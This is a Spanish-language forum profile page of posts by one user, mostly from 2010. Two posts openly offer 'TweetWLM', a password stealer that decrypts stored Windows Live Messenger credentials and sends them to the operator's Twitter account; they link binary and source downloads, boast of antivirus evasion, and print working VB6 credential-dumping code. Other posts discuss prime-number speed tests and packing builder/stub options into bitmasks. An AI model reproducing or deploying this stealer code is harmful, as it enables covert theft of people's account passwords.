Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Karcrack

#901
Tengo pensado para futuras versiones:

  • Añadir builder
  • Codificar usuario y contraseña del Twitter... eso de que este en texto plano no me mola nada..  pero soy muy vago :xD
  • Optimizar la compilacion del ejecutable... ya que son 20kb de stub... y se puede dejar tranquilamente en 9kb ;D
  • FWB
  • Melt
  • Mutex
  • Me estoy planteando continuar el proyecto en C :-\...

Saludos ;)
#902
Cita de: [Zero] en 12 Julio 2010, 13:45 PM
Muy bueno, no viste el partido o que?  :xD. Me bajo el source a ver si entiendo algo, sino me los explicas por MSN  ;D.

Saludos
Claro que lo vi ::) ::) ::) ::) ::)
Esto lo tenia hecho hacia tiempo... y para celebrar que gano la roja lo he compartido con todos :)
#903
Bueno, TweetWLM, como yo lo he bautizado, es una simple aplicacion programada por mi que recupera las contraseñas del WLM y las Tweetea en tu Twitter >:D >:D Es recomendable tener un twitter cerrado al publico para ese uso ::)

Es FUD:
http://www.virustotal.com/es/analisis/f34627c59552a4c0f721786488a3af25a85b6d9cdbb0f5f675621f8c471fdeea-1278896349
Estoy al corriente de que VT comparte las muestras, pero no me preocupa, cualquiera que tenga idea sobre programacion es capaz de hacer FUD el codigo de nuevo ;)

Descargar:
Bin:
http://www.box.net/shared/a8vpqkp5mf
Src:
http://www.box.net/shared/pozkqp2n7f

El codigo y el binario pertenecen unicamente al STUB asi que para establecer la cuenta de twitter donde se postearan las contraseñas teneis que seguir estas instrucciones:

  • Abrir el ejecutable con un programa que permita modificar la informacion de version del fichero
  • Poner en el valor 'Comments' la contraseña de la cuenta
  • Poner en el valor 'ProductName' el nombre de la cuenta
Ejemplo:


No se si queda muy claro este post, pero tengo sueño, asi que buenas noches :xD
#904
Código (vb) [Seleccionar]
Option Explicit

'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long

Private Type DATA_BLOB
   cbData                  As Long
   pbData                  As Long
End Type

Public Type ACCOUNT_INFO
   sMail                   As String
   sPassword               As String
End Type

Public Function sMSN() As ACCOUNT_INFO()
   Dim tTMP()      As ACCOUNT_INFO
   Dim i           As Long
   Dim x           As Long
   Dim lCount      As Long
   Dim lCred       As Long
   Dim lPtr        As Long
   Dim lUser       As Long
   Dim tBlobIn     As DATA_BLOB
   Dim bvGUID(4)   As Currency
   
   bvGUID(0) = 2814797012434.9527@
   bvGUID(1) = 2139259215904.7791@
   bvGUID(2) = 1632598244864.8297@
   bvGUID(3) = 2842944080556.8622@
   bvGUID(4) = 275.2573@
   'bvGUID = "WindowsLive:name=*"
   
   Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)

   For i = 0 To lCount - 1
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
       
       Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
       
       If tBlobIn.cbData Then
           ReDim Preserve tTMP(x)
           With tTMP(x)
               .sPassword = Space$(tBlobIn.cbData \ 2)
               Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
               If Len(.sPassword) > 0 Then
                   .sMail = uReadStr(lUser)
               End If
           End With
           x = x + 1
       End If
   Next i
   
   Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
   
   sMSN = tTMP
End Function

Private Function uReadStr(ByVal lPtr As Long) As String
   Dim iChar       As Integer
   Dim i           As Long
   
   Do
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
       i = i + 1
       If iChar = 0 Then Exit Do
       uReadStr = uReadStr & ChrW$(iChar)
   Loop
End Function

http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972
Ale, a ver cuanto dura FUD :D

Ejemplo de uso:
Código (vb) [Seleccionar]
    Dim i   As Long
    Dim x() As ACCOUNT_INFO
   
    x = sMSN
   
    For i = LBound(x) To UBound(x)
        Debug.Print x(i).sMail, x(i).sPassword
    Next i


A disfrutar!!! >:D >:D :xD
#905
Código (vb,11) [Seleccionar]
Private Function CheckPrimality(ByVal lNum As Long) As Boolean
   Dim i       As Long

   If lNum < 10 Then
       If lNum = 2 Then CheckPrimality = True: Exit Function
       If lNum = 5 Then CheckPrimality = True: Exit Function
       If lNum = 1 Then Exit Function
   End If
   
   If Not (lNum And 1) = 1 Then Exit Function
   If (lNum And 5) = 5 Then Exit Function
   For i = 3 To Sqr(lNum) Step 2
       If lNum Mod i = 0 Then Exit Function
   Next
   CheckPrimality = True
End Function

Interesante linea... con eso se puede comprobar si es multiple de 5? No acabo de entender como funciona... voy a jugar un poco con los Bits...

Pues eso, Cobein vence :P A no ser que alguien encuentre una forma de calcular la multiplicidad mas rapida que con Mod  :laugh: :laugh:

Felicidades, fue divertido :P Habran mas de estos seguro >:D :xD
#906
Cita de: raul338 en  9 Julio 2010, 19:55 PM
8 x 4 = 32............... y el bit que falta? :P

Es buena la idea, pero 32 (o 31) me parce algo excesivo, mejor guardar de 8 en 8 como sea necesario en un Byte :) (ahora mismo no tengo el codigo, pero lo habria logrado en .net, de todas formas se puede en vb)
Se empieza a contar por el 0 :P Ademas, no se puede usar el otro porque 2^31 es demasiado para VB :laugh: :laugh:

Si, bueno, puedes utilizar tantos bits como quieras... desde el 1 al 31...
Supongo que en .NET lo habras hecho mejor, ya que si no me equivoco permite usar mas operaciones de bitwise, como << o >> :D
#907
Cita de: raul338 en  9 Julio 2010, 19:39 PM
Karcrack, seria mas exacto si usaras GetTickCount ;-D
Simplemente queremos ver quien es mas rapido, tampoco necesitamos mas precision, si la necesitasemos usaria QueryPerformanceCounter ;)
#908
Muchas veces cuando estas programando algo te ves en la necesidad de comunicar dos partes de tu software para que compartan cierta configuracion... como un Builder y un Stub... o un Cliente y un Server...

Cuando esa informacion que han de compartir son simples Booleans (Si/No) como, activar deteccion de Virtual Machines, Melt.. etc... Simplemente puedes almacenar una gran lista de parametros en un simple Long (4Bytes) ;D

He visto Aplicaciones que envian/almacenan cosas como: "ON" o "OFF", si si, en cadenas de texto... :-X Ademas de no ser nada optimo es horroroso por ejemplo abrir el EXE y ver como 20 "ON"s y "OFF"s :-X :-X

Si no me equivoco Cobein ya posteo un codigo que trabajaba con Bitmasks... pero bueno, aqui esta el mio :xD

Aqui va:
Código (vb) [Seleccionar]
Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
   ReadConfig = (lSrc And 2 ^ iPos)
End Function

Public Function SaveConfig(ParamArray vValues() As Variant) As Long
   Dim i       As Long
   Dim vTmp()  As Variant
   
   vTmp = vValues
   ReDim Preserve vTmp(0 To 30)
   
   SaveConfig = 0
   For i = 0 To 30
       If vTmp(i) Then SaveConfig = (SaveConfig Or 2 ^ i)
   Next i
End Function


Un ejemplo de uso? Aqui teneis :) :
Código (vb) [Seleccionar]
Private Const lSavedConfig  As Long = &H16E  'SaveConfig(False, True, True, True, False, True, True, False, True, False)

Private Sub Form_Load()
   Dim x       As Long
   
   For x = 0 To 30
       If ReadConfig(lSavedConfig, x) = True Then
           MsgBox "La opcion nº" & x & " esta activada"
       End If
   Next x
End Sub

Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
   ReadConfig = (lSrc And 2 ^ iPos)
End Function


Simplemente generas el numero con la funcion SaveConfig() que te permite guardar hasta 31 Booleans/Opciones, luego con la funcion ReadConfig() le pasas el numero de la opcion y la lees :D

Saludos, espero que os sea de utilidad :)
#909
@PsYkE1: Debes comprobar la velocidad con el proyecto compilado, si no no es de fiar... por ejemplo, el codigo de Cobein era un poco mas rapido que el mio cuando lo prove...

Para hacer tu codigo mas rapido deberias hacer la comprobacion trabajando con los bits... voy a ver si puedo hacer algo sin pasarlo a String... que eso consume mucho

MOD:
Tu codigo falla con el 2 y el 5, que son primos y devuelve False ;)

MOD2:
Acabo de hacer los Test de Velocidad:

  • Karcrack: 1320ms
  • Cobein: 1330ms
  • Psyke: 2360ms
He hecho la prueba con un ciclo desde el 3 a 10^6  :D

Option Explicit
Private n       As Long

Private Sub Form_Load()
    Dim x       As Long
   
    Timer1.Interval = 10
   
    Timer1.Enabled = True
    For x = 3 To 10 ^ 6
        Call IsItPrime(x)
        DoEvents
    Next x
    Timer1.Enabled = False
    MsgBox n * 10 & " ms" & " KARCRACK"
    n = 0
   
    Timer1.Enabled = True
    For x = 3 To 10 ^ 6
        Call CheckPrimality(x)
        DoEvents
    Next x
    Timer1.Enabled = False
    MsgBox n * 10 & " ms" & " COBEIN"
    n = 0
   
    Timer1.Enabled = True
    For x = 3 To 10 ^ 6
        Call Check_Prime_Number(x)
        DoEvents
    Next x
    Timer1.Enabled = False
    MsgBox n * 10 & " ms" & " Psyke"
    n = 0
End Sub

Public Function Check_Prime_Number(ByVal lNumber As Long) As Boolean
    Const sPrimeDigit            As String = "1379"
    Dim sLastDigit               As String * 1
    Dim sNumber                  As String
    Dim x                        As Long

    If (lNumber > 2) Then
        sNumber = Str$(lNumber)
        sLastDigit = Right$(sNumber, 1)
        If InStr(sPrimeDigit, sLastDigit) > 0 Then
            For x = 3 To Sqr(lNumber) Step 2
                If (lNumber Mod x) = 0 Then Exit Function
            Next
            Check_Prime_Number = True
        End If
    End If
End Function

Private Function CheckPrimality(ByVal lNum As Long) As Boolean
    Dim i       As Long
    Dim lSqr    As Long
       
    If lNum Mod 2 = 0 Then GoTo Composite:

    lSqr = Sqr(lNum)

    i = 3
    Do Until i > lSqr
        If lNum Mod i = 0 Then GoTo Composite:
        i = i + 2
    Loop
   
Prime:
    CheckPrimality = True
    Exit Function
Composite:
    If lNum = 2 Then CheckPrimality = True
End Function

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
    Dim i       As Long

    If (lNumber >= 2) And (lNumber And 1) Or (lNumber = 2) Then
        For i = 3 To Sqr(lNumber) Step 2
            If (lNumber Mod i) = 0 Then Exit Function
        Next i
        IsItPrime = True
    End If
End Function

Private Sub Timer1_Timer()
    n = n + 1
End Sub


S2 ;)
#910
Tienes, razon, cualquier numero mayor que 5 acabado en 5 no es primo debido a que ya seria divisible por 5 (Recordemos que los multiplos de 5 son todos los numeros acabados en 5 y en 0)

Tampoco creas que augmenta mucho la velocidad, debido a que simplemente ha de hacer un Mod 3 antes que el Mod 5 para comprobar que acaba en 5...
Ademas, no se me ocurre una forma de comprobar que acabase en 5 sin ralentizar el proceso...


CitarAdvertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje.
No, gracias ;)